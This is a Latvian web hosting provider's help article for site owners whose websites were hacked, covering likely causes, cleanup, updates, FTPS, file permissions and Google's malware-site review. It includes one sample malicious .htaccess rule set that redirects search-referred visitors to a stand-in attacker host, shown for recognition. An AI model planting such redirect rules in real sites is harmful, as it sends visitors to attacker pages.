Palīdzība! Mana vietne ir uzlauzta. Kā to novērst un kā no tā izvairīties?

Konta uzlaušana ir nepatīkama situācija. Mēs darām visu, lai hakeriem būtu pēc iespējas grūtāk, taču diemžēl var gadīties, ka hakeris tomēr iegūst piekļuvi Jūsu vietnei. Tad svarīgi ir noskaidrot cēloni: kā hakeris ieguva piekļuvi Jūsu sistēmai.

Tas var būt sarežģīts un laikietilpīgs darbs, taču cēlonis jeb avots ir svarīgs, lai to varētu novērst nākotnē. Vienkārši visu izdzēst un atjaunot rezerves kopiju nav risinājums.

Nelieciet inficēto vietni atpakaļ tiešsaistē, kamēr neesat 100% pārliecināti, ka problēma ir novērsta un vietne ir droša.

Jūs varat paši vadības panelī pie domēna iestatījumiem (vai Windows hostingā ar opciju "Websites") uz laiku deaktivizēt domēnu, lai uzlauztā vietne nevarētu nodarīt vēl lielāku kaitējumu citiem. Ja nepieciešams, ar Installatron (Linux hostingā) varat atjaunot vecu rezerves kopiju vai izmantot mūsu rezerves kopiju moduli. Vispirms izdzēsiet visas mapes un failus un tikai tad atjaunojiet rezerves kopiju, citādi jaunievietotie un uzlauztie faili paliks vietā.

Varat arī uzticēt uzlaušanas seku novēršanu mūsu ekspertiem. Tā kā tas ir laikietilpīgs darbs, šis pakalpojums diemžēl nav bezmaksas.
Noklikšķiniet šeit, lai uzzinātu vairāk.

Iespējamo cēloņu izpēte:

• Visbiežākais cēlonis: Jūs izmantojat skriptu vai spraudni, kas nav atjaunināts uz jaunāko versiju, nav drošs vai satur kļūdas. Tas var būt arī, piemēram, WordPress vai Joomla modulis.
• Jūs piedāvājat apmeklētājiem iespēju augšupielādēt failus, un kāds no apmeklētājiem ir augšupielādējis un palaidis PHP programmu.
• Jūs izmantojat paredzamas, pārāk vienkāršas paroles vai paroles, kuras var atrast, piemēram, vietnē haveibeenpwned.com.
• Jūsu dators ir inficēts ar vīrusu, tārpu vai taustiņu reģistrētāju (keylogger), kas šādā veidā iegūst paroles un lietotājvārdus, piemēram, Jūsu FTP kontam.
• Jūs esat izveidojuši veidlapu, kurā var ievietot, piemēram, SQL vai PHP kodu, vai veidlapu bez Captcha, ar kuru var sūtīt surogātpastu.
• Pārbaudiet servera žurnālfailus (DirectAdmin izvēlnē statistika / žurnāli), vai tajos nav kaut kas aizdomīgs. Meklējiet arī Litespeed/Apache Usage Log un Backed up Apache logs. Meklējiet IP adreses no svešām valstīm un it īpaši POST pieprasījumus kopā ar IP adresi no svešas valsts. Bieži vien tur var kaut ko atrast. Ar tādu vietni kā www.whatsmyip.org varat noskaidrot, no kuras valsts ir IP adrese.

Kā novērst uzlaušanu:

• Pats svarīgākais: rūpējieties, lai visi Jūsu skripti, piemēram, WordPress/Joomla, vienmēr būtu atjaunināti ar jaunākajiem atjauninājumiem. Tas noteikti attiecas arī uz spraudņiem un veidnēm. Atjauninājumus parasti var viegli veikt ar Installatron vai pašā skriptā.
• Izmantojiet FTPS, nevis parasto FTP
• NEKAD neizmantojiet savu lietotājvārdu un paroli skriptos. Ja tas tomēr ir nepieciešams, izveidojiet tam atsevišķu lietotāju vadības panelī.
• Izmantojiet tikai zināmus un atzītus skriptus un rūpējieties, lai tie vienmēr būtu atjaunināti.
• NEKAD nepiedāvājiet failu augšupielādes iespējas. Tas ir ārkārtīgi bīstami.

WordPress, Joomla un citi skripti: rūpējieties, lai būtu instalēta jaunākā versija!
Ir svarīgi uzturēt WordPress/Joomla un citus skriptus atjauninātus. Tā parasti var novērst uzlaušanu. Ar Installatron (Linux hostingā) atjauninājumus var instalēt ļoti vienkārši. Ja WordPress/Joomla vai citu skriptu neesat instalējuši ar Installatron, varat to viegli importēt Installatron un pēc tam atjaunināt skriptu.

Mapju, piemēram, Joomla administrator mapes, aizsardzība
Ir svarīgi papildus aizsargāt tādas mapes kā /administrator. Šajā rakstā paskaidrots, kā to izdarīt.

Iframe uzlaušana:

Ja esat cietuši no iframe uzlaušanas, cēlonis bieži ir Trojas zirga vīruss Jūsu datorā, kas pats sev nodrošina piekļuvi Jūsu FTP kontiem

• Pārbaudiet, vai Jūsu vietne patiešām ir uzlauzta. To var izdarīt, piemēram, vietnē UnmaskParasites.
• Pieteikšanās izmantojiet FTPS, nevis FTP: FTP visus datus sūta lasāmā tekstā, bet FTPS nosūtītos datus šifrē, tāpēc hakeriem ir grūtāk iegūt šos sensitīvos datus.
• Tagad nomainiet visas savas FTP paroles.
• Vadības panelī / failu pārvaldniekā vai ar FTP nomainiet visām mapēm (Linux) tiesības uz chmod 755 un visiem failiem uz chmod 644.

HTACCESS uzlaušana / .htaccess ir mainīts:

Zemāk redzamajā piemērā hakeris ir mainījis Jūsu .htaccess failu. Tādēļ Google un Yahoo Jūsu vietni indeksēs kā parasti, bet visi pārējie apmeklētāji tiks pāradresēti uz hakera vietni.

RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*yahoo.*$ [NC,OR]
RewriteRule .* http://hacker.xx/in.html?= [R,L]

Google uzskata Jūsu vietni par uzbrukuma vietni ("Ziņots par uzbrukuma vietni!"):

Ar zemāk norādītajām saitēm varat pieprasīt informāciju (ievadiet savu domēna vārdu):

http://safebrowsing.clients.google.com/safebrowsing/diagnostic?client=Firefox&hl=nl&site=http://www.domens.xx/

Ar šo saiti varat ne tikai saņemt informāciju, bet arī iesniegt pieprasījumu, lai Jūsu domēns/vietne vairs netiktu uzskatīta par uzbrukuma vietni. Tomēr pārliecinieties, ka vietne patiešām ir pilnībā iztīrīta!

http://www.google.com/support/webmasters/bin/answer.py?hl=nl&answer=45432

1. Tīmekļa pārziņa rīku (Google Search Console) informācijas panelī atlasiet vajadzīgo vietni.
2. Ziņojumā "Šīs vietnes daļas, iespējams, izplata kaitīgu programmatūru" noklikšķiniet uz "Vairāk informācijas".
3. Noklikšķiniet uz "Pieprasīt pārskatīšanu".